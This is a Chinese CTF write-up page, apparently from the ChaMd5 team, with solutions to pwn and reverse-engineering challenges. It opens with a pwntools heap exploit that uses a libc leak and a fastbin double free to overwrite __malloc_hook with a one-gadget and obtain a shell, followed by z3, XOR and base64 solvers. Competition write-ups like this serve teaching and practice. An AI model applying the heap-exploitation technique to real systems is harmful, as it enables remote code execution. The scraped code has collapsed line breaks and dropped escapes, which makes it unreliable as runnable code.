def exp(): add(0x80, 'a', 'b') add(0x20, 'a', 'b') free(1) free(0) add(0x80, '', 'b') show() libc.address = u64(p.recvuntil("x7f")[-6:]+'x00'*2)-0x00007fa63dc0bb0a+0x7fa63d847000 log.info("libc.address ==> " + hex(libc.address)) add(0x68,'a','a') add(0x68,'a','a') free(3) free(4) free(3) add(0x68, p64(libc.sym['__malloc_hook']-0x23),'a') add(0x68,'a','a') add(0x68,'a','a') add(0x68,'a'*(0x13-8)+p64(libc.address+0xf0364)+p64(libc.sym['realloc']+13),'a')
p.interactive()if __name__ == '__main__': exp()

Reverse

login

解题思路

pyinstxtractor直接脱,得到关键py文件


from z3 import *
a = [Int("a%d"%i) for i in range(0,14)]
l = Solver()
for i in a: l.add(i < 255)
l.add(a[0] * 88 + a[1] * 67 + a[2] * 65 -a[3] * 5 + a[4] * 43 + a[5] * 89 + a[6]* 25 + a[7] * 13 - a[8] * 36 + a[9] * 15 +a[10] * 11 + a[11] * 47 - a[12] * 60 + a[13] * 29 == 22748)l.add(a[0] * 89 + a[1] * 7 + a[2] * 12 -a[3] * 25 + a[4] * 41 + a[5] * 23 + a[6]* 20 - a[7] * 66 + a[8] * 31 + a[9] * 8 +a[10] * 2 - a[11] * 41 - a[12] * 39 + a[13] * 17 == 7258)l.add(a[0] * 28 + a[1] * 35 + a[2] * 16 -a[3] * 65 + a[4] * 53 + a[5] * 39 + a[6]* 27 + a[7] * 15 - a[8] * 33 + a[9] * 13 +a[10] * 101 + a[11] * 90 - a[12] * 34 + a[13] * 23 == 26190)l.add(a[0] * 23 + a[1] * 34 + a[2] * 35 -a[3] * 59 + a[4] * 49 + a[5] * 81 + a[6]* 25 + (a[7] * (2**7)) - a[8] * 32 + a[9] * 75 +a[10] * 81 + a[11] * 47 - a[12] * 60 + a[13] * 29 == 37136)l.add(a[0] * 38 + a[1] * 97 + a[2] * 35 -a[3] * 52 + a[4] * 42 + a[5] * 79 + a[6]* 90 + a[7] * 23 - a[8] * 36 + a[9] * 57 +a[10] * 81 + a[11] * 42 - a[12] * 62 - a[13] * 11 == 27915)l.add(a[0] * 22 + a[1] * 27 + a[2] * 35 -a[3] * 45 + a[4] * 47 + a[5] * 49 + a[6]* 29 + a[7] * 18 - a[8] * 26 + a[9] * 35 +a[10] * 41 + a[11] * 40 - a[12] * 61 + a[13] * 28 == 17298)l.add(a[0] * 12 + a[1] * 45 + a[2] * 35 -a[3] * 9 - a[4] * 42 + a[5] * 86 + a[6]* 23 + a[7] * 85 - a[8] * 47 + a[9] * 34 +a[10] * 76 + a[11] * 43 - a[12] * 44 + a[13] * 65 == 19875)l.add(a[0] * 79 + a[1] * 62 + a[2] * 35 -a[3] * 85 + a[4] * 33 + a[5] * 79 + a[6]* 86 + a[7] * 14 - a[8] * 30 + a[9] * 25 +a[10] * 11 + a[11] * 57 - a[12] * 50 - a[13] * 9 == 22784)l.add(a[0] * 8 + a[1] * 6 + a[2] * 64 -a[3] * 85 + a[4] * 73 + a[5] * 29 + a[6]* 2 + a[7] * 23 - a[8] * 36 + a[9] * 5 +a[10] * 2 + a[11] * 47 - a[12] * 64 + a[13] * 27 == 9710)l.add(a[0] * 67 - a[1] * 68 + a[2] * 68 -a[3] * 51 - a[4] * 43 + a[5] * 81 + a[6]* 22 - a[7] * 12 - a[8] * 38 + a[9] * 75 +a[10] * 41 + a[11] * 27 - a[12] * 52 + a[13] * 31 == 13376)l.add(a[0] * 85 + a[1] * 63 + a[2] * 5 -a[3] * 51 + a[4] * 44 + a[5] * 36 + a[6]* 28 + a[7] * 15 - a[8] * 6 + a[9] * 45 +a[10] * 31 + a[11] * 7 - a[12] * 67 + a[13] * 78 == 24065)l.add(a[0] * 47 + a[1] * 64 + a[2] * 66 -a[3] * 5 + a[4] * 43 + a[5] * 112 + a[6]* 25 + a[7] * 13 - a[8] * 35 + a[9] * 95 +a[10] * 21 + a[11] * 43 - a[12] * 61 + a[13] * 20 == 27687)l.add(a[0] * 89 + a[1] * 67 + a[2] * 85 -a[3] * 25 + a[4] * 49 + a[5] * 89 + a[6]* 23 + a[7] * 56 - a[8] * 92 + a[9] * 14 +a[10] * 89 + a[11] * 47 - a[12] * 61 - a[13] * 29 == 29250)l.add(a[0] * 95 + a[1] * 34 + a[2] * 62 -a[3] * 9 - a[4] * 43 + a[5] * 83 + a[6]* 25 + a[7] * 12 - a[8] * 36 + a[9] * 16 +a[10] * 51 + a[11] * 47 - a[12] * 60 - a[13] * 24 == 15317)
L = []
if l.check() == sat: m = l.model() print (m) for i in range(14): L.append(int("%s"%(m[a[i]])))print (L)L[0],L[2] = L[2],L[0]L[8],L[9] = L[9],L[8]
for i in range(len(L)-1, 0, -1): L[i-1] = L[i]^L[i-1]s = ''.join(chr(x) for x in L)print (s)
import hashlib
m= hashlib.md5(s.encode())print(m.hexdigest())


Bytecode

解题思路

bytecode就直接硬着逆了,没啥好方法,还好不是特别复杂,贴下我还原的代码


en=[3,37,72,9,6,132]output=[101,96,23,68,112,42,107,62,96,53,176,179,98,53,67,29,41,120,60,106,51,101,178,189,101,48]flag=input("please input your flag")str=flag#str="GWHT{" 前面5位就是这个,验证一下确实if len(str)<38:    print("length wrong!")    exit()if (((((((ord(str[0])*2020+ord(str[1]))*2020)+ord(str[2]))*2020)+ord(str[3]))*2020)+ord(str[4]))*2020==1182843538814603:    print("good")x=[]k=5for i in range(13):    b=ord(str[k])    c=ord(str[k+1])    a11=en[i%6]^c    a22=en[i%6]^b    x.append(a11)    x.append(a22)    k+=2#x==outputl=len(str)a1=ord(str[l-7])a2=ord(str[l-6])a3=ord(str[l-5])a4=ord(str[l-4])a5=ord(str[l-3])a6=ord(str[l-2])if 3*a1+2*a2+5*a3==1003 and a1*4+a2*7+a3*9==2013 and a1+8*a2+2*a3==1109 and    and 3*a4+2*a5+5*a6 ==671and 4*a4+a5*7+a6*9==1252 and a4+8*a5+2*a6==644:    print("get flag")

逆代码,一个是异或后调换,另一个是z3解方程


en=[3,37,72,9,6,132]output=[101,96,23,68,112,42,107,62,96,53,176,179,98,53,67,29,41,120,60,106,51,101,178,189,101,48]flag=[]k=0for i in range(13):    b = output[k + 1] ^ en[i % 6]    flag.append(b)
c = output[k] ^ en[i % 6] flag.append(c)
k+=2
'''from z3 import *a1=BitVec("a1",8)a2=BitVec("a2",8)a3=BitVec("a3",8)a4=BitVec("a4",8)a5=BitVec("a5",8)a6=BitVec("a6",8)s=Solver()s.add(3*a1+2*a2+5*a3==1003)s.add(a1*4+a2*7+a3*9==2013)s.add(a1+8*a2+2*a3==1109)s.add(3*a4+2*a5+5*a6 ==671)s.add(4*a4+a5*7+a6*9==1252)s.add(a4+8*a5+2*a6==644)if s.check()==sat: print(s.model())'''flag.append(97)flag.append(101)flag.append(102)flag.append(102)flag.append(55)flag.append(51)for j in range(len(flag)): print(chr(flag[j]),end="")

easyre

解题思路

经过三个加密函数,逆回去的话,从倒数第三个开始,发现是凯撒加密移动3位,网站上解密就好了,倒数第二个是拆分成4个,对应的拼回去,第一个就是常规的base64加密了,解就好了坑的就是凯撒是不管数字的,但是第二个又把数字+3了,所以每个数字要减去3.


import base64c2="BjYjM2Mjk4NzMR1dIVHs2NzJjY0MTEzM2VhMn0=zQ3NzhhMzhlOD"#BjYjM5Mjk7NzMR4dIVHs5NzJjY3MTEzM5VhMn3=zQ6NzhhMzhlODprint(len(c2))p1=c2[:13]p2=c2[13:26]p3=c2[26:39]p4=c2[39:]p=[]flag=""c3=[0,0,0,0]c3[0]=p2c3[1]=p4c3[2]=p1c3[3]=p3print(c3)for w in range(len(c3)):    flag+=c3[w]print(base64.b64decode(flag))

end


ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系[email protected]

羊城杯-WriteUp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: